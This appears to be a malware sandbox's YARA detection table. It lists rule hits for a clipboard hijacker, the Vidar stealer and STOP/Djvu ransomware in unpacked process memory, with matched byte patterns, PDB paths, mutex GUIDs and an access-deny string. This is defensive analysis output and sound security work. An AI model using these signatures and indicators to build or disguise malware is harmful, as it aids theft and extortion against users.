00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
19.2.mstsca.exe.8515a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
19.2.mstsca.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
19.2.mstsca.exe.8515a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
28.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
28.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
31.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
31.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
10.2.build3.exe.8115a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
10.2.build3.exe.8115a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
10.2.build3.exe.8115a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
10.2.build3.exe.8115a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
10.2.build3.exe.8115a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
26.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
26.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
8.2.build2.exe.400000.0.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
16.2.build3.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
16.2.build3.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8915a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
30.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8915a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
25.2.mstsca.exe.9715a0.1.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
25.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.9715a0.1.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
20.2.mstsca.exe.400000.0.raw.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1e03:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
20.2.mstsca.exe.400000.0.raw.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x1afa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0x1b87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1b87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x1ead:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1f35:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
30.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
30.2.mstsca.exe.8915a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
29.2.mstsca.exe.400000.0.unpack	JoeSecurity_Clipboard_Hijacker	Yara detected Clipboard Hijacker	Joe Security
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x1203:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
29.2.mstsca.exe.400000.0.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0xefa:$mutex_setup: 55 8B EC 83 EC 18 53 56 57 E8 F8 F4 FF FF 68 30 30 40 00 6A 00 6A 00 FF 15 40 40 40 00 FF 15 2C 40 40 00 3D B7 00 00 00 75 08 6A 00 FF 15 10 30 40 00 0xf87:$new_line_check: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0xf87:$regex1: 0F B7 C2 89 45 EC 0F B7 C2 83 F8 0A 74 43 BA 0D 0A 00 00 66 3B C2 74 39 83 F8 0D 74 34 83 F8 20 74 2F 83 F8 09 74 2A 0x12ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x1335:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
24.2.SUwX12D2S6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.SUwX12D2S6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.SUwX12D2S6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
24.2.SUwX12D2S6.exe.400000.0.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
24.2.SUwX12D2S6.exe.400000.0.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x105b28:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xd9ef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
24.2.SUwX12D2S6.exe.400000.0.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xffe88:$x1: C:\SystemID\PersonalID.txt 0x100334:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xffcf0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x105b28:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0x1002ec:$s1: " --AutoStart 0x100300:$s1: " --AutoStart 0x103f48:$s2: --ForNetRes 0x103f10:$s3: --Admin 0x104390:$s4: %username% 0x1044b4:$s5: ?pid= 0x1044c0:$s6: &first=true 0x1044d8:$s6: &first=false 0x1003f4:$s7: delself.bat 0x1043f8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x104420:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x104448:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
25.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_f9f9e79d	unknown	unknown	0x603:$a1: 7E 7E 0F B7 04 77 83 F8 41 74 69 83 F8 42 74 64 83 F8 43 74 5F 83
25.2.mstsca.exe.9715a0.1.unpack	Windows_Trojan_Clipbanker_787b130b	unknown	unknown	0x6ad:$regex2: 6A 34 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E 66 3B C1 74 19 83 F8 35 74 14 83 F8 36 74 0F 83 F8 37 74 ... 0x735:$regex3: 56 8B F1 56 FF 15 20 40 40 00 83 F8 5F 0F 85 84 00 00 00 6A 38 59 66 39 0E 75 7C 0F B7 46 02 6A 30 5A 83 F8 41 74 37 83 F8 42 74 32 66 3B C2 74 2D 83 F8 31 74 28 83 F8 32 74 23 83 F8 33 74 1E ...
0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
0.2.SUwX12D2S6.exe.5e115a0.1.raw.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
8.2.build2.exe.400000.0.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
7.2.build2.exe.35615a0.1.raw.unpack	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
6.2.SUwX12D2S6.exe.400000.0.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
6.2.SUwX12D2S6.exe.400000.0.unpack	Windows_Ransomware_Stop_1e8d48ff	unknown	unknown	0x104528:$a: E:\Doc\My work (C++)\_Git\Encryption\Release\encrypt_win_api.pdb 0xcdef:$b: 68 FF FF FF 50 FF D3 8D 85 78 FF FF FF 50 FF D3 8D 85 58 FF
6.2.SUwX12D2S6.exe.400000.0.unpack	MALWARE_Win_STOP	Detects STOP ransomware	ditekSHen	0xfe888:$x1: C:\SystemID\PersonalID.txt 0xfed34:$x2: /deny *S-1-1-0:(OI)(CI)(DE,DC) 0xfe6f0:$x3: e:\doc\my work (c++)\_git\encryption\ 0x104528:$x3: E:\Doc\My work (C++)\_Git\Encryption\ 0xfecec:$s1: " --AutoStart 0xfed00:$s1: " --AutoStart 0x102948:$s2: --ForNetRes 0x102910:$s3: --Admin 0x102d90:$s4: %username% 0x102eb4:$s5: ?pid= 0x102ec0:$s6: &first=true 0x102ed8:$s6: &first=false 0xfedf4:$s7: delself.bat 0x102df8:$mutex1: {1D6FC66E-D1F3-422C-8A53-C0BBCF3D900D} 0x102e20:$mutex2: {FBB4BCC6-05C7-4ADD-B67B-A98A697323C1} 0x102e48:$mutex3: {36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}
5.2.SUwX12D2S6.exe.5e615a0.1.unpack	JoeSecurity_Djvu	Yara detected Djvu Ransomware	Joe Security
